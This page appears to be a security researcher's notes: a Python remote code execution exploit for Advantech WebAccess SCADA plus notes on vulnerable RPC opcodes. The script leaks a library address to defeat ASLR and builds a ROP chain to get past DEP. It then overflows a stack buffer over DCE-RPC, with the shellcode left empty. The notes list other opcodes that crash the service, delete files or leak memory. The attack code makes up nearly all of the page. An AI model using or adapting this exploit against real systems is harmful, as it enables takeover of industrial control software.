Adventech WebAccess SCADA

Exploit by DS

RCE SEH Stack Buffer Overflow (ASLR/DEP) (ASLR bypassed via an address leak of MSVCRT.dll) Both vulnerabilities occur in drawsrv.dll which is called for opcodes 10000-10999 Buffer overflow occurs at opcode 10126 and address leak occurs at opcode 10105

import sys, struct, time
from impacket import uuid 
from impacket.dcerpc.v5 import transport 

def htonl_shift(x):
    #https://stackoverflow.com/questions/36096292/efficient-way-to-swap-bytes-in-python
    return (((x << 24) & 0xFF000000) |
            ((x <<  8) & 0x00FF0000) |
            ((x >>  8) & 0x0000FF00) |
            ((x >> 24) & 0x000000FF))  

def send_packet(opcode, buf) :
        def call(dce, opcode, stubdata): 
                dce.call(opcode, stubdata) 
                res = -1 
                try: 
                    res = dce.recv() 
                    print(res)
                except Exception as e: 
                    print("Exception encountered..." + str(e)) 
                    sys.exit(1) 
                return res 

                if len(sys.argv) != 2: 
                        print("Provide only host arg") 
                        sys.exit(1) 
    
        port = 4592 
        interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" 
        version = "1.0"  

        host = sys.argv[1] 

        string_binding = "ncacn_ip_tcp:%s" % host 
        trans = transport.DCERPCTransportFactory(string_binding) 
        trans.set_dport(port) 

        print("Connecting to the target") 

        dce = trans.get_dce_rpc() 
        dce.connect() 

        iid = uuid.uuidtup_to_bin((interface, version)) 
        dce.bind(iid) 

        print("Getting a handle to the RPC server") 
        stubdata = struct.pack("<I", 0x02) #4046fb checks this value (version)
        res = call(dce, 4, stubdata) 
        if res == -1: 
                print("Something went wrong") 
                sys.exit(1) 
        res = struct.unpack("III", res) 
        print(res)

        if (len(res) < 3): 
                print("Received unexpected length value") 
                sys.exit(1) 

        print("Sending payload") 


        #stubdata = struct.pack("<IIII", res[2], opcode, 0x41414141, 0x222) 
        stubdata = struct.pack("<IIII", res[2], opcode, 0x41414141, 0x1)
        #buf = struct.pack("<L", 0x00000001) + buf
        stubdata += buf 
        res = call(dce, 1, stubdata) 
        dce.disconnect() 
        return res

def leak_MSVCRT():
        #any exisiting file should work
        buf = b"C:\\test.txt" + b"\x00"
        buf += bytearray([0x41]*(30-len(buf)))
        buf += bytearray([0x41]*(248-0x12))
        #r
        buf += struct.pack("<L", 0x00000072)
        buf += bytearray([0x41]*16)
        #sh_NODENY
        buf += struct.pack("<L", 0x00000040)
        opcode = 10105
        res = send_packet(opcode, buf)
        addr = htonl_shift(int(res.hex(),base=16))
        #~0xb5660 offset to base of module give or take rounding...
        base = (addr - 0xb5660) & 0xFFFFFF00
        print(f"MSVCRT module base at: {hex(base)}")
        return base


def writeFile():
        buf = b"$kernel.bak" + b"\x00"
        buf += bytearray([0x42]*(260-len(buf))) 
        buf += b"$kernel.bak" + b"\x00"
        opcode = 10041
        send_packet(opcode, buf)

def overflow_10126(rop, payload):

        #eip offset 379
        buf = bytearray([0x41]*(379))
        buf += rop
        buf += payload
        buf += bytearray([0x41]*(1319 - len(buf)))

        opcode = 10126
        send_packet(opcode, buf)

def buildRop(base):
        '''
        OLD
        pushad
        Temp ← (ESP); dummy dwSize 0x45454545
        Push(EAX); junk
        Push(ECX); junk 0x55555555
        Push(EDX); flProtect 0x44444444
        Push(EBX); flAllocationType  0x43434343
        Push(Temp);
        Push(EBP); Shellcode Return Address
        Push(ESI); Shellcode Return Address 0x42424242
        Push(EDI); VirutalAlloc Address   0x41414141
        
        NEW
        pushad
        Temp ← (ESP); Shellcode Return Address 
        Push(EAX); dwSize 0x45454545
        Push(ECX); flProtect 0x44444444
        Push(EDX);  flAllocationType  0x43434343
        Push(EBX); Shellcode Return Address
        Push(Temp); Shellcode Return Address 
        Push(EBP); VirutalAlloc Address   0x42424242
        Push(ESI); rop nop
        Push(EDI); rop nop

        fuzzysec
        # EAX 90909090 => Nop                                                 #
        # ECX 00000040 => flProtect     0x40                                      #
        # EDX 00001000 => flAllocationType         0x00001000                           #
        # EBX 00000001 => dwSize         0x01 - 0x1000                                     #
        # ESP ???????? => Leave as is                                         #
        # EBP ???????? => Call to ESP (jmp, call, push,..)                    #
        # ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
        # EDI 10019C60 => ROP-Nop same as EIP 


        ''' 
        virtualAllocIAT = base + 0x000b91b8
        pushAD = base + 0x2859
        popEAX = base + 0x3BBF2 #0x1013bbf2  # pop eax; ret;  :: msvcrt.dll 
        popECX = base + 0xc14d #0x1010c14d  # pop ecx; ret;  :: msvcrt.dll 
        popEDI = base + 0x3b6a7
        popESI = base  + 0x3cfe7
        popEBP = base + 0x30904
        popEBX = base + 0x3d85e
        popEDX = base + 0x947C4 #0x101947c4  # pop edx; ret;  :: msvcrt.dll  
        ropNOP = base + 0x3D85F
        derefEAX_popESI_popEBP = base + 0x7525c #0x1017525c  # mov eax, dword ptr [eax]; pop esi; pop ebp; ret; 
        junk = 0x41414141
        movECX = base + 0x65DEB #0x10165deb  # pop ecx; mov ecx, eax; mov eax, ecx; pop ebp; ret 
        movESI_EDX =  base + 0x48E61 #0x10148e61  # mov esi, edx; add [eax], eax; pop ecx; ret 
        movEDX_EAX = base + 0x58b54 #0x10158b54  # mov edx, eax; mov eax, ecx; pop ebp; ret; 
        xchgEAX_EBP = base + 0x3385c #0x1013385c  # xchg eax, ebp; ret;
        xchgEAX_EDI = base + 0x7e22 #0x10107e22  # xchg eax, edi; ret;  :: msvcrt.dll 
        pushESP = base + 0x98928 #0x10198928  # push esp; ret;  :: msvcrt.dll   
        decEBX = base + 0x8fcd #0x10108fcd  # dec ebx; ret;  :: msvcrt.dll 
        negEDX_popEBX = base + 0xa90da #0x101a90da  # neg edx; neg eax; sbb edx, 0; pop ebx; ret 0x10;
        incEBX = base + 0x9a2f3 #0x1019a2f3  # inc ebx; fpatan; ret 
        addECX_20 = base + 0x33bc9 #0x10133bc9  # add ecx, 0x20; mov eax, ecx; pop ebp; ret; 
        incECX = base + 0x10778 #0x10110778  # inc ecx; ret;  :: msvcrt.dll 

        def pack(x): return struct.pack("<L", x)

        #dereference the IAT into EAX 

        #DEBUG
        print(hex(ropNOP))
        print(f"Redirecting execution to {hex(derefEAX_popESI_popEBP)}")
        print(f"PushAD: {hex(pushAD)}")
        print(f"Neg EDX: {hex(negEDX_popEBX)}")


        rop = pack(xchgEAX_EBP)
        rop += pack(xchgEAX_EDI)

        rop += pack(popEAX)
        rop += pack(virtualAllocIAT)

        rop += pack(derefEAX_popESI_popEBP)
        rop += pack(junk)
        rop += pack(junk)

        rop += pack(popECX)
        rop += pack(base+0xbfc0f) #hopefully will work as a valid address to add to...

        rop += pack(movEDX_EAX)
        rop += pack(junk)
        #move virtualAlloc addr into ESI

        rop += pack(xchgEAX_EDI)

        rop += pack(movESI_EDX)
        rop += pack(junk)

        rop += pack(popEDI)
        rop += pack(ropNOP)

        rop += pack(popEDX)
        rop += pack(0xffffefff)
        rop += pack(negEDX_popEBX) #ret 0x10 + pop ebx
        rop += pack(0xffffffff)
        
        rop += pack(incEBX)
        rop += pack(junk)
        rop += pack(junk)
        rop += pack(junk)
        rop += pack(junk)

        
        rop += pack(incEBX)

        rop += pack(popECX)
        rop += pack(0xffffffff)

        rop+= pack(incECX)

        rop += pack(addECX_20)
        rop += pack(junk)

        rop += pack(addECX_20)
        rop += pack(pushESP)

        rop += pack(popEAX)
        rop += pack(0x90909090)
        
        rop += pack(pushAD)

        return rop


#SHELLCODE
payload = b""

base = leak_MSVCRT()
rop = buildRop(base)

input('Press enter to execute...')

overflow_10126(rop, payload)




'''
notes:

    Can control write to a file called $kernel.bak in current dir via starting the buffer with:
        buf = bytearray([0x41]*0x1000) 
        buf = struct.pack("<L", 0x00000001) + buf
    With opcode 50010

    Op 50004 results in a crash during strcpy 

    op 50002 results in a stack leak via injecting %x format chars 

    

op 10019, 10100 resulted in full crashes

op 10126, 10128 SO with SEH and ret overwrite

op 10311 printed out a series of null bytes


REVIEW:
#fwrite / sprintf
op 10301 prints out the buf as a response

#could this be repurposed for reading output from a write? fread
op 10126, 10128 SO with SEH and ret overwrite


TODO:

op 10250 sprintf #crashes after call & never reached sprintf

op 10040 
  offset 260 = filename
  Can delete files via an invalid buffer
  can write buffer to file but no pointer leaks

10041 fwrite


op 10109 

op 10128 fread .config

op 10108 fread
  tries to deref and write into dw at buf[0]

op 10300 fread

op 10105 fread .config
  returns something that looks like a pointer into MSVCRT
    ret       MSVCRT     webvrpcs     drawsrv 
    77715660  77660000   005a0000     00580000
    75795660  756e0000   00400000     00740000
    758f5660  75840000   00400000     00580000
    753a5660  752f0000   00450000     00460000

    always offset b5660 from start of MSVCRT

    ret       MSVCRT        MSASNI        win32u
    753a5660  752f0000      75860000      76a20000 
    76155660  760a0000      775a0000      77500000 



    


op 10250 sprintf

op 10300 sprintf



'''
 
Ida Pro

Last updated

Was this helpful?